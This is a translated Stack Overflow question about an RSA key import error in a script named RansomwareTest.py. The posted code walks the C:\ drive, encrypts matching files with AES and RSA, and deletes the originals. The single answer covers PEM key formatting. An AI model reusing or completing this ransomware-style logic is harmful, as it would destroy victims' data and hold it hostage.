Python加密:RSA密钥格式不受支持。

4

由于某种原因,代码中写着:

private_key = RSA.import_key(open(privdirec).read(),passphrase = rsakeycode)

在解密函数中抛出了错误RSA Key格式不受支持。最近它还能工作,现在有些东西改变了导致出现了错误。有人可以看一下我的代码片段并提供帮助吗?

这是创建RSA密钥的函数:

def RSA_Keys():

global rsakeycode
directory = 'C:\\WindowsFiles'

if os.path.exists(directory):
    print('This action has already been performed')
    return()
else:
    print('')
rsakeycode = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(32))
f = open('keycode.txt', 'w+')
f.write(rsakeycode)
f.close()
print('Generating RSA Keys...')
key = RSA.generate(4096)
encrypted_key = key.exportKey(passphrase=rsakeycode, pkcs=8, protection='scryptAndAES128-CBC')
with open('privatekey.bin', 'wb') as keyfile1:
    keyfile1.write(encrypted_key)
with open('publickey.bin', 'wb') as keyfile:
    keyfile.write(key.publickey().exportKey())

try:
    if not os.path.exists(directory):
        os.makedirs(directory)
except Exception as ex:
    print('Can not complete action')


shutil.move('privatekey.bin', 'C:\\users\\bsmith\\Desktop\\privatekey.bin')
shutil.move('publickey.bin', 'C:\\WindowsFiles/publickey.bin')
shutil.move('encrypted_data.txt', 'C:\\WindowsFiles/encrypted_data.txt')
shutil.move('keycode.txt', 'C:\\users\\bsmith\\Desktop\\keycode.txt')
print('RSA Keys Created\n')
return()

这是加密数据的代码:
def encryption():

directory = 'C:\\WindowsFiles'
darray = []
index = -1
drives = win32api.GetLogicalDriveStrings()
count = 1

if not os.path.exists(directory):
    print('Error: Option 3 Must Be Selected First To Generate Encryption Keys\n')
    user_interface_selection()

with open('C:\\WindowsFiles/encrypted_data.txt', 'ab') as out_file:
    filename = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(8))
    recipient_key = RSA.import_key(open('C:\\WindowsFiles/publickey.bin').read())
    session_key = get_random_bytes(16)

    cipher_rsa = PKCS1_OAEP.new(recipient_key)
    out_file.write(cipher_rsa.encrypt(session_key))

    cipher_aes = AES.new(session_key, AES.MODE_EAX)
    filechoice = input('Please input the file for encryption\n')
    for root, dirs, files in os.walk('C:\\', topdown=False):
        for name in files:
            index += 1
            data = (os.path.join(root, name))
            darray.append(data)
            if filechoice in data:
                print(darray[index])
                if darray[index].endswith(".lnk"):
                  print("fail")
                elif darray[index].endswith(".LNK"):
                  print("fail")
                elif darray[index].endswith(".txt"):
                  print(index)         
                  newfile = open(darray[index],'rb')
                  data = newfile.read()
                  print(data)
                  ciphertext, tag = cipher_aes.encrypt_and_digest(data)
                  out_file.write(cipher_aes.nonce)
                  out_file.write(tag)
                  out_file.write(ciphertext)
                  out_file.close()
                  newfile.close()
                  shutil.move('C:\\WindowsFiles/encrypted_data.txt','C:\\WindowsFiles/' + filename + '.txt')
                file = darray[index]
deleteorig(file)

以下是解密数据的代码:

def decryption():
privdirec = 'C:\\users\\bsmith\\Desktop\\privatekey.bin'
count = 0
farray = []
index = 0
for file in os.listdir("C:\\WindowsFiles"):
    if file.endswith(".txt"):
        count += 1
        print(count,end='')
        print(':',end='')
        print(os.path.join("C:\\WindowsFiles", file))
        farray.append(file)
        print(farray[index])
        index += 1
selection = input('Please enter the number of file you wish to decrypt\n')
if selection > str(count):
    print("This is not a valid option.")
elif int(selection) < 1:
    print("This is not a valid option.")
if selection <= str(count) and int(selection) > 0:
    print("Decrypting file")
    index = int(selection) - 1
    file = os.path.join("C:\\WindowsFiles",farray[index])
    print(file)

    with open(file, 'rb') as fobj:
        private_key = RSA.import_key(open(privdirec).read(),passphrase = rsakeycode)

        enc_session_key, nonce, tag, ciphertext = [fobj.read(x)
                                                  for x in
                                                   (private_key.size_in_bytes(),
                                                           16,16,-1)]

        cipher_rsa = PKCS1_OAEP.new(private_key)
        session_key = cipher_rsa.decrypt(enc_session_key)

        cipher_aes = AES.new(session_key, AES.MODE_EAX, nonce)
        data = cipher_aes.decrypt_and_verify(ciphertext, tag)
    print(data)
    file.close()

错误: ValueError:不支持RSA密钥格式
完整错误信息:
File "C:\Python\RansomwareTest.py", line 702, in decryption private_key = RSA.import_key(open(privdirec).read(),passphrase = rsakeycode)
File "C:\Users\bsmith\AppData\Local\Programs\Python\Python36\lib\site-packages\Cryptodome\PublicKey\RSA.py", line 736, in import_key return _import_keyDER(der, passphrase)
File "C:\Users\bsmith\AppData\Local\Programs\Python\Python36\lib\site-packages\Cryptodome\PublicKey\RSA.py", line 679, in _import_keyDER raise ValueError("RSA key format is not supported") ValueError: RSA key format is not supported

请问您能否提供完整的错误信息? - Patrick Haugh
完整错误:文件“C:\Python\RansomwareTest.py”,第702行解密: private_key = RSA.import_key(open(privdirec).read(),passphrase = rsakeycode) 文件“C:\Users\bsmith\AppData\Local\Programs\Python\Python36\lib\site-packages\Cryptodome\PublicKey\RSA.py”,第736行导入密钥 return _import_keyDER(der, passphrase) 文件“C:\Users\bsmith\AppData\Local\Programs\Python\Python36\lib\site-packages\Cryptodome\PublicKey\RSA.py”,第679行_import_keyDER raise ValueError("不支持RSA密钥格式") - Fsxnerd
你能在文件中分享你的RSA密钥吗?另外,很有趣,你正在尝试创建一个可以加密所有内容的勒索软件。但是RSA加密速度太慢了,建议使用AES-256代替。 - Yılmaz Alpaslan
1个回答

1
我遇到了同样的错误。调试后,我发现关键字符串的格式很重要(例如,在关键字符串开头的换行符会导致此错误)。以下格式对我有效:
"-----BEGIN RSA PRIVATE KEY-----\nProc-Type: 4,ENCRYPTED\nDEK-Info: AES-128-CBC,9F8BFD6BCECEBE3EAC4618A8628B6956\n<here goes your key split into multiple lines by \n>\n-----END RSA PRIVATE KEY-----\n"

请尝试输出未编码(非二进制)的密钥,并查看其中的换行符是否与提供的示例匹配。我使用Python 3.6.9进行了测试。

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接